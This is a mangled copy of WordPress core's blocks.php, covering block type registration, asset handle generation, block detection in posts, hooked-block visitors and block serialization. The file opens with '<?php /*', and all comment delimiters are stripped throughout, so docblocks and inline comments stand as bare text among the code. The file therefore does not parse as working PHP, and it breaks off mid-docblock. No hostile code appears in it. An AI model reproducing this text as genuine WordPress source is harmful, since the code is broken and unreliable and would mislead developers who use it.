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<?php /*
*
* Functions related to registering and parsing blocks.
*
* @package WordPress
* @subpackage Blocks
* @since 5.0.0
*
* Removes the block asset's path prefix if provided.
*
* @since 5.5.0
*
* @param string $asset_handle_or_path Asset handle or prefixed path.
* @return string Path without the prefix or the original value.
function remove_block_asset_path_prefix( $asset_handle_or_path ) {
$path_prefix = 'file:';
if ( ! str_starts_with( $asset_handle_or_path, $path_prefix ) ) {
return $asset_handle_or_path;
}
$path = substr(
$asset_handle_or_path,
strlen( $path_prefix )
);
if ( str_starts_with( $path, './' ) ) {
$path = substr( $path, 2 );
}
return $path;
}
*
* Generates the name for an asset based on the name of the block
* and the field name provided.
*
* @since 5.5.0
* @since 6.1.0 Added `$index` parameter.
*
* @param string $block_name Name of the block.
* @param string $field_name Name of the metadata field.
* @param int $index Optional. Index of the asset when multiple items passed.
* Default 0.
* @return string Generated asset name for the block's field.
function generate_block_asset_handle( $block_name, $field_name, $index = 0 ) {
if ( str_starts_with( $block_name, 'core/' ) ) {
$asset_handle = str_replace( 'core/', 'wp-block-', $block_name );
if ( str_starts_with( $field_name, 'editor' ) ) {
$asset_handle .= '-editor';
}
if ( str_starts_with( $field_name, 'view' ) ) {
$asset_handle .= '-view';
}
if ( $index > 0 ) {
$asset_handle .= '-' . ( $index + 1 );
}
return $asset_handle;
}
$field_mappings = array(
'editorScript' => 'editor-script',
'script' => 'script',
'viewScript' => 'view-script',
'editorStyle' => 'editor-style',
'style' => 'style',
);
$asset_handle = str_replace( '/', '-', $block_name ) .
'-' . $field_mappings[ $field_name ];
if ( $index > 0 ) {
$asset_handle .= '-' . ( $index + 1 );
}
return $asset_handle;
}
*
* Gets the URL to a block asset.
*
* @since 6.4.0
*
* @param string $path A normalized path to a block asset.
* @return string|false The URL to the block asset or false on failure.
function get_block_asset_url( $path ) {
if ( empty( $path ) ) {
return false;
}
Path needs to be normalized to work in Windows env.
static $wpinc_path_norm = '';
if ( ! $wpinc_path_norm ) {
$wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) );
}
if ( str_starts_with( $path, $wpinc_path_norm ) ) {
return includes_url( str_replace( $wpinc_path_norm, '', $path ) );
}
static $template_paths_norm = array();
$template = get_template();
if ( ! isset( $template_paths_norm[ $template ] ) ) {
$template_paths_norm[ $template ] = wp_normalize_path( get_template_directory() );
}
if ( str_starts_with( $path, trailingslashit( $template_paths_norm[ $template ] ) ) ) {
return get_theme_file_uri( str_replace( $template_paths_norm[ $template ], '', $path ) );
}
if ( is_child_theme() ) {
$stylesheet = get_stylesheet();
if ( ! isset( $template_paths_norm[ $stylesheet ] ) ) {
$template_paths_norm[ $stylesheet ] = wp_normalize_path( get_stylesheet_directory() );
}
if ( str_starts_with( $path, trailingslashit( $template_paths_norm[ $stylesheet ] ) ) ) {
return get_theme_file_uri( str_replace( $template_paths_norm[ $stylesheet ], '', $path ) );
}
}
return plugins_url( basename( $path ), $path );
}
*
* Finds a script handle for the selected block metadata field. It detects
* when a path to file was provided and finds a corresponding asset file
* with details necessary to register the script under automatically
* generated handle name. It returns unprocessed script handle otherwise.
*
* @since 5.5.0
* @since 6.1.0 Added `$index` parameter.
*
* @param array $metadata Block metadata.
* @param string $field_name Field name to pick from metadata.
* @param int $index Optional. Index of the script to register when multiple items passed.
* Default 0.
* @return string|false Script handle provided directly or created through
* script's registration, or false on failure.
function register_block_script_handle( $metadata, $field_name, $index = 0 ) {
if ( empty( $metadata[ $field_name ] ) ) {
return false;
}
$script_handle = $metadata[ $field_name ];
if ( is_array( $script_handle ) ) {
if ( empty( $script_handle[ $index ] ) ) {
return false;
}
$script_handle = $script_handle[ $index ];
}
$script_path = remove_block_asset_path_prefix( $script_handle );
if ( $script_handle === $script_path ) {
return $script_handle;
}
$path = dirname( $metadata['file'] );
$script_asset_raw_path = $path . '/' . substr_replace( $script_path, '.asset.php', - strlen( '.js' ) );
$script_handle = generate_block_asset_handle( $metadata['name'], $field_name, $index );
$script_asset_path = wp_normalize_path(
realpath( $script_asset_raw_path )
);
if ( empty( $script_asset_path ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: 1: Asset file location, 2: Field name, 3: Block name.
__( 'The asset file (%1$s) for the "%2$s" defined in "%3$s" block definition is missing.' ),
$script_asset_raw_path,
$field_name,
$metadata['name']
),
'5.5.0'
);
return false;
}
$script_path_norm = wp_normalize_path( realpath( $path . '/' . $script_path ) );
$script_uri = get_block_asset_url( $script_path_norm );
$script_args = array();
if ( 'viewScript' === $field_name && $script_uri ) {
$script_args['strategy'] = 'defer';
}
$script_asset = require $script_asset_path;
$script_dependencies = isset( $script_asset['dependencies'] ) ? $script_asset['dependencies'] : array();
$result = wp_register_script(
$script_handle,
$script_uri,
$script_dependencies,
isset( $script_asset['version'] ) ? $script_asset['version'] : false,
$script_args
);
if ( ! $result ) {
return false;
}
if ( ! empty( $metadata['textdomain'] ) && in_array( 'wp-i18n', $script_dependencies, true ) ) {
wp_set_script_translations( $script_handle, $metadata['textdomain'] );
}
return $script_handle;
}
*
* Finds a style handle for the block metadata field. It detects when a path
* to file was provided and registers the style under automatically
* generated handle name. It returns unprocessed style handle otherwise.
*
* @since 5.5.0
* @since 6.1.0 Added `$index` parameter.
*
* @param array $metadata Block metadata.
* @param string $field_name Field name to pick from metadata.
* @param int $index Optional. Index of the style to register when multiple items passed.
* Default 0.
* @return string|false Style handle provided directly or created through
* style's registration, or false on failure.
function register_block_style_handle( $metadata, $field_name, $index = 0 ) {
if ( empty( $metadata[ $field_name ] ) ) {
return false;
}
$style_handle = $metadata[ $field_name ];
if ( is_array( $style_handle ) ) {
if ( empty( $style_handle[ $index ] ) ) {
return false;
}
$style_handle = $style_handle[ $index ];
}
$style_handle_name = generate_block_asset_handle( $metadata['name'], $field_name, $index );
If the style handle is already registered, skip re-registering.
if ( wp_style_is( $style_handle_name, 'registered' ) ) {
return $style_handle_name;
}
static $wpinc_path_norm = '';
if ( ! $wpinc_path_norm ) {
$wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) );
}
$is_core_block = isset( $metadata['file'] ) && str_starts_with( $metadata['file'], $wpinc_path_norm );
Skip registering individual styles for each core block when a bundled version provided.
if ( $is_core_block && ! wp_should_load_separate_core_block_assets() ) {
return false;
}
$style_path = remove_block_asset_path_prefix( $style_handle );
$is_style_handle = $style_handle === $style_path;
Allow only passing style handles for core blocks.
if ( $is_core_block && ! $is_style_handle ) {
return false;
}
Return the style handle unless it's the first item for every core block that requires special treatment.
if ( $is_style_handle && ! ( $is_core_block && 0 === $index ) ) {
return $style_handle;
}
Check whether styles should have a ".min" suffix or not.
$suffix = SCRIPT_DEBUG ? '' : '.min';
if ( $is_core_block ) {
$style_path = ( 'editorStyle' === $field_name ) ? "editor{$suffix}.css" : "style{$suffix}.css";
}
$style_path_norm = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . $style_path ) );
$style_uri = get_block_asset_url( $style_path_norm );
$version = ! $is_core_block && isset( $metadata['version'] ) ? $metadata['version'] : false;
$result = wp_register_style(
$style_handle_name,
$style_uri,
array(),
$version
);
if ( ! $result ) {
return false;
}
if ( $style_uri ) {
wp_style_add_data( $style_handle_name, 'path', $style_path_norm );
if ( $is_core_block ) {
$rtl_file = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $style_path_norm );
} else {
$rtl_file = str_replace( '.css', '-rtl.css', $style_path_norm );
}
if ( is_rtl() && file_exists( $rtl_file ) ) {
wp_style_add_data( $style_handle_name, 'rtl', 'replace' );
wp_style_add_data( $style_handle_name, 'suffix', $suffix );
wp_style_add_data( $style_handle_name, 'path', $rtl_file );
}
}
return $style_handle_name;
}
*
* Gets i18n schema for block's metadata read from `block.json` file.
*
* @since 5.9.0
*
* @return object The schema for block's metadata.
function get_block_metadata_i18n_schema() {
static $i18n_block_schema;
if ( ! isset( $i18n_block_schema ) ) {
$i18n_block_schema = wp_json_file_decode( __DIR__ . '/block-i18n.json' );
}
return $i18n_block_schema;
}
*
* Registers a block type from the metadata stored in the `block.json` file.
*
* @since 5.5.0
* @since 5.7.0 Added support for `textdomain` field and i18n handling for all translatable fields.
* @since 5.9.0 Added support for `variations` and `viewScript` fields.
* @since 6.1.0 Added support for `render` field.
* @since 6.3.0 Added `selectors` field.
* @since 6.4.0 Added support for `blockHooks` field.
*
* @param string $file_or_folder Path to the JSON file with metadata definition for
* the block or path to the folder where the `block.json` file is located.
* If providing the path to a JSON file, the filename must end with `block.json`.
* @param array $args Optional. Array of block type arguments. Accepts any public property
* of `WP_Block_Type`. See WP_Block_Type::__construct() for information
* on accepted arguments. Default empty array.
* @return WP_Block_Type|false The registered block type on success, or false on failure.
function register_block_type_from_metadata( $file_or_folder, $args = array() ) {
* Get an array of metadata from a PHP file.
* This improves performance for core blocks as it's only necessary to read a single PHP file
* instead of reading a JSON file per-block, and then decoding from JSON to PHP.
* Using a static variable ensures that the metadata is only read once per request.
static $core_blocks_meta;
if ( ! $core_blocks_meta ) {
$core_blocks_meta = require ABSPATH . WPINC . '/blocks/blocks-json.php';
}
$metadata_file = ( ! str_ends_with( $file_or_folder, 'block.json' ) ) ?
trailingslashit( $file_or_folder ) . 'block.json' :
$file_or_folder;
$is_core_block = str_starts_with( $file_or_folder, ABSPATH . WPINC );
if ( ! $is_core_block && ! file_exists( $metadata_file ) ) {
return false;
}
Try to get metadata from the static cache for core blocks.
$metadata = false;
if ( $is_core_block ) {
$core_block_name = str_replace( ABSPATH . WPINC . '/blocks/', '', $file_or_folder );
if ( ! empty( $core_blocks_meta[ $core_block_name ] ) ) {
$metadata = $core_blocks_meta[ $core_block_name ];
}
}
If metadata is not found in the static cache, read it from the file.
if ( ! $metadata ) {
$metadata = wp_json_file_decode( $metadata_file, array( 'associative' => true ) );
}
if ( ! is_array( $metadata ) || empty( $metadata['name'] ) ) {
return false;
}
$metadata['file'] = wp_normalize_path( realpath( $metadata_file ) );
*
* Filters the metadata provided for registering a block type.
*
* @since 5.7.0
*
* @param array $metadata Metadata for registering a block type.
$metadata = apply_filters( 'block_type_metadata', $metadata );
Add `style` and `editor_style` for core blocks if missing.
if ( ! empty( $metadata['name'] ) && str_starts_with( $metadata['name'], 'core/' ) ) {
$block_name = str_replace( 'core/', '', $metadata['name'] );
if ( ! isset( $metadata['style'] ) ) {
$metadata['style'] = "wp-block-$block_name";
}
if ( current_theme_supports( 'wp-block-styles' ) && wp_should_load_separate_core_block_assets() ) {
$metadata['style'] = (array) $metadata['style'];
$metadata['style'][] = "wp-block-{$block_name}-theme";
}
if ( ! isset( $metadata['editorStyle'] ) ) {
$metadata['editorStyle'] = "wp-block-{$block_name}-editor";
}
}
$settings = array();
$property_mappings = array(
'apiVersion' => 'api_version',
'title' => 'title',
'category' => 'category',
'parent' => 'parent',
'ancestor' => 'ancestor',
'icon' => 'icon',
'description' => 'description',
'keywords' => 'keywords',
'attributes' => 'attributes',
'providesContext' => 'provides_context',
'usesContext' => 'uses_context',
'selectors' => 'selectors',
'supports' => 'supports',
'styles' => 'styles',
'variations' => 'variations',
'example' => 'example',
);
$textdomain = ! empty( $metadata['textdomain'] ) ? $metadata['textdomain'] : null;
$i18n_schema = get_block_metadata_i18n_schema();
foreach ( $property_mappings as $key => $mapped_key ) {
if ( isset( $metadata[ $key ] ) ) {
$settings[ $mapped_key ] = $metadata[ $key ];
if ( $textdomain && isset( $i18n_schema->$key ) ) {
$settings[ $mapped_key ] = translate_settings_using_i18n_schema( $i18n_schema->$key, $settings[ $key ], $textdomain );
}
}
}
$script_fields = array(
'editorScript' => 'editor_script_handles',
'script' => 'script_handles',
'viewScript' => 'view_script_handles',
);
foreach ( $script_fields as $metadata_field_name => $settings_field_name ) {
if ( ! empty( $metadata[ $metadata_field_name ] ) ) {
$scripts = $metadata[ $metadata_field_name ];
$processed_scripts = array();
if ( is_array( $scripts ) ) {
for ( $index = 0; $index < count( $scripts ); $index++ ) {
$result = register_block_script_handle(
$metadata,
$metadata_field_name,
$index
);
if ( $result ) {
$processed_scripts[] = $result;
}
}
} else {
$result = register_block_script_handle(
$metadata,
$metadata_field_name
);
if ( $result ) {
$processed_scripts[] = $result;
}
}
$settings[ $settings_field_name ] = $processed_scripts;
}
}
$style_fields = array(
'editorStyle' => 'editor_style_handles',
'style' => 'style_handles',
);
foreach ( $style_fields as $metadata_field_name => $settings_field_name ) {
if ( ! empty( $metadata[ $metadata_field_name ] ) ) {
$styles = $metadata[ $metadata_field_name ];
$processed_styles = array();
if ( is_array( $styles ) ) {
for ( $index = 0; $index < count( $styles ); $index++ ) {
$result = register_block_style_handle(
$metadata,
$metadata_field_name,
$index
);
if ( $result ) {
$processed_styles[] = $result;
}
}
} else {
$result = register_block_style_handle(
$metadata,
$metadata_field_name
);
if ( $result ) {
$processed_styles[] = $result;
}
}
$settings[ $settings_field_name ] = $processed_styles;
}
}
if ( ! empty( $metadata['blockHooks'] ) ) {
*
* Map camelCased position string (from block.json) to snake_cased block type position.
*
* @var array
$position_mappings = array(
'before' => 'before',
'after' => 'after',
'firstChild' => 'first_child',
'lastChild' => 'last_child',
);
$settings['block_hooks'] = array();
foreach ( $metadata['blockHooks'] as $anchor_block_name => $position ) {
Avoid infinite recursion (hooking to itself).
if ( $metadata['name'] === $anchor_block_name ) {
_doing_it_wrong(
__METHOD__,
__( 'Cannot hook block to itself.' ),
'6.4.0'
);
continue;
}
if ( ! isset( $position_mappings[ $position ] ) ) {
continue;
}
$settings['block_hooks'][ $anchor_block_name ] = $position_mappings[ $position ];
}
}
if ( ! empty( $metadata['render'] ) ) {
$template_path = wp_normalize_path(
realpath(
dirname( $metadata['file'] ) . '/' .
remove_block_asset_path_prefix( $metadata['render'] )
)
);
if ( $template_path ) {
*
* Renders the block on the server.
*
* @since 6.1.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the block content.
$settings['render_callback'] = static function ( $attributes, $content, $block ) use ( $template_path ) {
ob_start();
require $template_path;
return ob_get_clean();
};
}
}
*
* Filters the settings determined from the block type metadata.
*
* @since 5.7.0
*
* @param array $settings Array of determined settings for registering a block type.
* @param array $metadata Metadata provided for registering a block type.
$settings = apply_filters(
'block_type_metadata_settings',
array_merge(
$settings,
$args
),
$metadata
);
return WP_Block_Type_Registry::get_instance()->register(
$metadata['name'],
$settings
);
}
*
* Registers a block type. The recommended way is to register a block type using
* the metadata stored in the `block.json` file.
*
* @since 5.0.0
* @since 5.8.0 First parameter now accepts a path to the `block.json` file.
*
* @param string|WP_Block_Type $block_type Block type name including namespace, or alternatively
* a path to the JSON file with metadata definition for the block,
* or a path to the folder where the `block.json` file is located,
* or a complete WP_Block_Type instance.
* In case a WP_Block_Type is provided, the $args parameter will be ignored.
* @param array $args Optional. Array of block type arguments. Accepts any public property
* of `WP_Block_Type`. See WP_Block_Type::__construct() for information
* on accepted arguments. Default empty array.
*
* @return WP_Block_Type|false The registered block type on success, or false on failure.
function register_block_type( $block_type, $args = array() ) {
if ( is_string( $block_type ) && file_exists( $block_type ) ) {
return register_block_type_from_metadata( $block_type, $args );
}
return WP_Block_Type_Registry::get_instance()->register( $block_type, $args );
}
*
* Unregisters a block type.
*
* @since 5.0.0
*
* @param string|WP_Block_Type $name Block type name including namespace, or alternatively
* a complete WP_Block_Type instance.
* @return WP_Block_Type|false The unregistered block type on success, or false on failure.
function unregister_block_type( $name ) {
return WP_Block_Type_Registry::get_instance()->unregister( $name );
}
*
* Determines whether a post or content string has blocks.
*
* This test optimizes for performance rather than strict accuracy, detecting
* the pattern of a block but not validating its structure. For strict accuracy,
* you should use the block parser on post content.
*
* @since 5.0.0
*
* @see parse_blocks()
*
* @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object.
* Defaults to global $post.
* @return bool Whether the post has blocks.
function has_blocks( $post = null ) {
if ( ! is_string( $post ) ) {
$wp_post = get_post( $post );
if ( ! $wp_post instanceof WP_Post ) {
return false;
}
$post = $wp_post->post_content;
}
return str_contains( (string) $post, '<!-- wp:' );
}
*
* Determines whether a $post or a string contains a specific block type.
*
* This test optimizes for performance rather than strict accuracy, detecting
* whether the block type exists but not validating its structure and not checking
* synced patterns (formerly called reusable blocks). For strict accuracy,
* you should use the block parser on post content.
*
* @since 5.0.0
*
* @see parse_blocks()
*
* @param string $block_name Full block type to look for.
* @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object.
* Defaults to global $post.
* @return bool Whether the post content contains the specified block.
function has_block( $block_name, $post = null ) {
if ( ! has_blocks( $post ) ) {
return false;
}
if ( ! is_string( $post ) ) {
$wp_post = get_post( $post );
if ( $wp_post instanceof WP_Post ) {
$post = $wp_post->post_content;
}
}
* Normalize block name to include namespace, if provided as non-namespaced.
* This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by
* their serialized names.
if ( ! str_contains( $block_name, '/' ) ) {
$block_name = 'core/' . $block_name;
}
Test for existence of block by its fully qualified name.
$has_block = str_contains( $post, '<!-- wp:' . $block_name . ' ' );
if ( ! $has_block ) {
* If the given block name would serialize to a different name, test for
* existence by the serialized form.
$serialized_block_name = strip_core_block_namespace( $block_name );
if ( $serialized_block_name !== $block_name ) {
$has_block = str_contains( $post, '<!-- wp:' . $serialized_block_name . ' ' );
}
}
return $has_block;
}
*
* Returns an array of the names of all registered dynamic block types.
*
* @since 5.0.0
*
* @return string[] Array of dynamic block names.
function get_dynamic_block_names() {
$dynamic_block_names = array();
$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
foreach ( $block_types as $block_type ) {
if ( $block_type->is_dynamic() ) {
$dynamic_block_names[] = $block_type->name;
}
}
return $dynamic_block_names;
}
*
* Retrieves block types hooked into the given block, grouped by anchor block type and the relative position.
*
* @since 6.4.0
*
* @return array[] Array of block types grouped by anchor block type and the relative position.
function get_hooked_blocks() {
$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
$hooked_blocks = array();
foreach ( $block_types as $block_type ) {
if ( ! ( $block_type instanceof WP_Block_Type ) || ! is_array( $block_type->block_hooks ) ) {
continue;
}
foreach ( $block_type->block_hooks as $anchor_block_type => $relative_position ) {
if ( ! isset( $hooked_blocks[ $anchor_block_type ] ) ) {
$hooked_blocks[ $anchor_block_type ] = array();
}
if ( ! isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] ) ) {
$hooked_blocks[ $anchor_block_type ][ $relative_position ] = array();
}
$hooked_blocks[ $anchor_block_type ][ $relative_position ][] = $block_type->name;
}
}
return $hooked_blocks;
}
*
* Returns a function that injects the theme attribute into, and hooked blocks before, a given block.
*
* The returned function can be used as `$pre_callback` argument to `traverse_and_serialize_block(s)`,
* where it will inject the `theme` attribute into all Template Part blocks, and prepend the markup for
* any blocks hooked `before` the given block and as its parent's `first_child`, respectively.
*
* This function is meant for internal use only.
*
* @since 6.4.0
* @access private
*
* @param array $hooked_blocks An array of blocks hooked to another given block.
* @param WP_Block_Template|array $context A block template, template part, or pattern that the blocks belong to.
* @return callable A function that returns the serialized markup for the given block,
* including the markup for any hooked blocks before it.
function make_before_block_visitor( $hooked_blocks, $context ) {
*
* Injects hooked blocks before the given block, injects the `theme` attribute into Template Part blocks, and returns the serialized markup.
*
* If the current block is a Template Part block, inject the `theme` attribute.
* Furthermore, prepend the markup for any blocks hooked `before` the given block and as its parent's
* `first_child`, respectively, to the serialized markup for the given block.
*
* @param array $block The block to inject the theme attribute into, and hooked blocks before. Passed by reference.
* @param array $parent_block The parent block of the given block. Passed by reference. Default null.
* @param array $prev The previous sibling block of the given block. Default null.
* @return string The serialized markup for the given block, with the markup for any hooked blocks prepended to it.
return function ( &$block, &$parent_block = null, $prev = null ) use ( $hooked_blocks, $context ) {
_inject_theme_attribute_in_template_part_block( $block );
$markup = '';
if ( $parent_block && ! $prev ) {
Candidate for first-child insertion.
$relative_position = 'first_child';
$anchor_block_type = $parent_block['blockName'];
$hooked_block_types = isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] )
? $hooked_blocks[ $anchor_block_type ][ $relative_position ]
: array();
*
* Filters the list of hooked block types for a given anchor block type and relative position.
*
* @since 6.4.0
*
* @param string[] $hooked_block_types The list of hooked block types.
* @param string $relative_position The relative position of the hooked blocks.
* Can be one of 'before', 'after', 'first_child', or 'last_child'.
* @param string $anchor_block_type The anchor block type.
* @param WP_Block_Template|array $context The block template, template part, or pattern that the anchor block belongs to.
$hooked_block_types = apply_filters( 'hooked_block_types', $hooked_block_types, $relative_position, $anchor_block_type, $context );
foreach ( $hooked_block_types as $hooked_block_type ) {
$markup .= get_comment_delimited_block_content( $hooked_block_type, array(), '' );
}
}
$relative_position = 'before';
$anchor_block_type = $block['blockName'];
$hooked_block_types = isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] )
? $hooked_blocks[ $anchor_block_type ][ $relative_position ]
: array();
* This filter is documented in wp-includes/blocks.php
$hooked_block_types = apply_filters( 'hooked_block_types', $hooked_block_types, $relative_position, $anchor_block_type, $context );
foreach ( $hooked_block_types as $hooked_block_type ) {
$markup .= get_comment_delimited_block_content( $hooked_block_type, array(), '' );
}
return $markup;
};
}
*
* Returns a function that injects the hooked blocks after a given block.
*
* The returned function can be used as `$post_callback` argument to `traverse_and_serialize_block(s)`,
* where it will append the markup for any blocks hooked `after` the given block and as its parent's
* `last_child`, respectively.
*
* This function is meant for internal use only.
*
* @since 6.4.0
* @access private
*
* @param array $hooked_blocks An array of blocks hooked to another block.
* @param WP_Block_Template|array $context A block template, template part, or pattern that the blocks belong to.
* @return callable A function that returns the serialized markup for the given block,
* including the markup for any hooked blocks after it.
function make_after_block_visitor( $hooked_blocks, $context ) {
*
* Injects hooked blocks after the given block, and returns the serialized markup.
*
* Append the markup for any blocks hooked `after` the given block and as its parent's
* `last_child`, respectively, to the serialized markup for the given block.
*
* @param array $block The block to inject the hooked blocks after. Passed by reference.
* @param array $parent_block The parent block of the given block. Passed by reference. Default null.
* @param array $next The next sibling block of the given block. Default null.
* @return string The serialized markup for the given block, with the markup for any hooked blocks appended to it.
return function ( &$block, &$parent_block = null, $next = null ) use ( $hooked_blocks, $context ) {
$markup = '';
$relative_position = 'after';
$anchor_block_type = $block['blockName'];
$hooked_block_types = isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] )
? $hooked_blocks[ $anchor_block_type ][ $relative_position ]
: array();
* This filter is documented in wp-includes/blocks.php
$hooked_block_types = apply_filters( 'hooked_block_types', $hooked_block_types, $relative_position, $anchor_block_type, $context );
foreach ( $hooked_block_types as $hooked_block_type ) {
$markup .= get_comment_delimited_block_content( $hooked_block_type, array(), '' );
}
if ( $parent_block && ! $next ) {
Candidate for last-child insertion.
$relative_position = 'last_child';
$anchor_block_type = $parent_block['blockName'];
$hooked_block_types = isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] )
? $hooked_blocks[ $anchor_block_type ][ $relative_position ]
: array();
* This filter is documented in wp-includes/blocks.php
$hooked_block_types = apply_filters( 'hooked_block_types', $hooked_block_types, $relative_position, $anchor_block_type, $context );
foreach ( $hooked_block_types as $hooked_block_type ) {
$markup .= get_comment_delimited_block_content( $hooked_block_type, array(), '' );
}
}
return $markup;
};
}
*
* Given an array of attributes, returns a string in the serialized attributes
* format prepared for post content.
*
* The serialized result is a JSON-encoded string, with unicode escape sequence
* substitution for characters which might otherwise interfere with embedding
* the result in an HTML comment.
*
* This function must produce output that remains in sync with the output of
* the serializeAttributes JavaScript function in the block editor in order
* to ensure consistent operation between PHP and JavaScript.
*
* @since 5.3.1
*
* @param array $block_attributes Attributes object.
* @return string Serialized attributes.
function serialize_block_attributes( $block_attributes ) {
$encoded_attributes = wp_json_encode( $block_attributes, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
$encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes );
$encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes );
$encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes );
$encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes );
Regex: /\\"/
$encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes );
return $encoded_attributes;
}
*
* Returns the block name to use for serialization. This will remove the default
* "core/" namespace from a block name.
*
* @since 5.3.1
*
* @param string|null $block_name Optional. Original block name. Null if the block name is unknown,
* e.g. Classic blocks have their name set to null. Default null.
* @return string Block name to use for serialization.
function strip_core_block_namespace( $block_name = null ) {
if ( is_string( $block_name ) && str_starts_with( $block_name, 'core/' ) ) {
return substr( $block_name, 5 );
}
return $block_name;
}
*
* Returns the content of a block, including comment delimiters.
*
* @since 5.3.1
*
* @param string|null $block_name Block name. Null if the block name is unknown,
* e.g. Classic blocks have their name set to null.
* @param array $block_attributes Block attributes.
* @param string $block_content Block save content.
* @return string Comment-delimited block content.
function get_comment_delimited_block_content( $block_name, $block_attributes, $block_content ) {
if ( is_null( $block_name ) ) {
return $block_content;
}
$serialized_block_name = strip_core_block_namespace( $block_name );
$serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' ';
if ( empty( $block_content ) ) {
return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes );
}
return sprintf(
'<!-- wp:%s %s-->%s<!-- /wp:%s -->',
$serialized_block_name,
$serialized_attributes,
$block_content,
$serialized_block_name
);
}
*
* Returns the content of a block, including comment delimiters, serializing all
* attributes from the given parsed block.
*
* This should be used when preparing a block to be saved to post content.
* Prefer `render_block` when preparing a block for display. Unlike
* `render_block`, this does not evaluate a block's `render_callback`, and will
* instead preserve the markup as parsed.
*
* @since 5.3.1
*
* @param array $block A representative array of a single parsed block object. See WP_Block_Parser_Block.
* @return string String of rendered HTML.
function serialize_block( $block ) {
$block_content = '';
$index = 0;
foreach ( $block['innerContent'] as $chunk ) {
$block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] );
}
if ( ! is_array( $block['attrs'] ) ) {
$block['attrs'] = array();
}
return get_comment_delimited_block_content(
$block['blockName'],
$block['attrs'],
$block_content
);
}
*
* Returns a joined string of the aggregate serialization of the given
* parsed blocks.
*
* @since 5.3.1
*
* @param array[] $blocks An array of representative arrays of parsed block objects. See serialize_block().
* @return string String of rendered HTML.
function serialize_blocks( $blocks ) {
return implode( '', array_map( 'serialize_block', $blocks ) );
}
*
* Traverses a parsed block tree and applies callbacks before and after serializing it.
*
* Recursively traverses the block and its inner blocks and applies the two callbacks provided as
* arguments, the first one before serializing the block, and the second one after serializing it.
* If either callback returns a string value, it will be prepended and appended to the serialized
* block markup, respectively.
*
* The callbacks will receive a reference to the current block as their first argument, so that they
* can also modify it, and the current block's parent block as second argument. Finally, the
* `$pre_callback` receives the previous block, whereas the `$post_callback` receives
* the next block as third argument.
*
* Serialized blocks are returned including comment delimiters, and with all attributes serialized.
*
* This function should be used when there is a need to modify the saved block, or to inject markup
* into the return value. Prefer `serialize_block` when preparing a block to be saved to post content.
*
* This function is meant for internal use only.
*
* @since 6.4.0
* @access private
*
* @see serialize_block()
*
* @param array $block A representative array of a single parsed block object. See WP_Block_Parser_Block.
* @param callable $pre_callback Callback to run on each block in the tree before it is traversed and serialized.
* It is called with the following arguments: &$block, $parent_block, $previous_block.
* Its string return value will be prepended to the serialized block markup.
* @param callable $post_callback Callback to run on each block in the tree after it is traversed and serialized.
* It is called with the following arguments: &$block, $parent_block, $next_block.
* Its string return value will be appended to the serialized block markup.
* @return string Serialized block markup.
function traverse_and_serialize_block( $block, $pre_callback = null, $post_callback = null ) {
$block_content = '';
$block_index = 0;
foreach ( $block['innerContent'] as $chunk ) {
if ( is_string( $chunk ) ) {
$block_content .= $chunk;
} else {
$inner_block = $block['innerBlocks'][ $block_index ];
if ( is_callable( $pre_callback ) ) {
$prev = 0 === $block_index
? null
: $block['innerBlocks'][ $block_index - 1 ];
$block_content .= call_user_func_array(
$pre_callback,
array( &$inner_block, &$block, $prev )
);
}
if ( is_callable( $post_callback ) ) {
$next = count( $block['innerBlocks'] ) - 1 === $block_index
? null
: $block['innerBlocks'][ $block_index + 1 ];
$post_markup = call_user_func_array(
$post_callback,
array( &$inner_block, &$block, $next )
);
}
$block_content .= traverse_and_serialize_block( $inner_block, $pre_callback, $post_callback );
$block_content .= isset( $post_markup ) ? $post_markup : '';
++$block_index;
}
}
if ( ! is_array( $block['attrs'] ) ) {
$block['attrs'] = array();
}
return get_comment_delimited_block_content(
$block['blockName'],
$block['attrs'],
$block_content
);
}
*
* Given an array of parsed block trees, applies callbacks before and after serializing them and
* returns their concatenated output.
*
* Recursively traverses the blocks and their inner blocks and applies the two callbacks provided as
* arguments, the first one before serializing a block, and the second one after serializing.
* If either callback returns a string value, it will be prepended and appended to the serialized
* block markup, respectively.
*
* The callbacks will receive a reference to the current block as their first argument, so that they
* can also modify it, and the current block's parent block as second argument. Finally, the
* `$pre_callback` receives the previous block, whereas the `$post_callback` receives
* the next block as third argument.
*
* Serialized blocks are returned including comment delimiters, and with all attributes serialized.
*
* This function should be used when there is a need to modify the saved blocks, or to inject markup
* into the return value. Prefer `serialize_blocks` when preparing blocks to be saved to post content.
*
* This function is meant for internal use only.
*
* @since 6.4.0
* @access private
*
* @see serialize_blocks()
*
* @param array[] $blocks An array of parsed blocks. See WP_Block_Parser_Block.
* @param callable $pre_callback Callback to run on each block in the tree before it is traversed and serialized.
* It is called with the following arguments: &$block, $parent_block, $previous_block.
* Its string return value will be prepended to the serialized block markup.
* @param callable $post_callback Callback to run on each block in the tree after it is traversed and serialized.
* It is called with the following arguments: &$block, $parent_block, $next_block.
* Its string return value will be appended to the serialized block markup.
* @return string Serialized block markup.
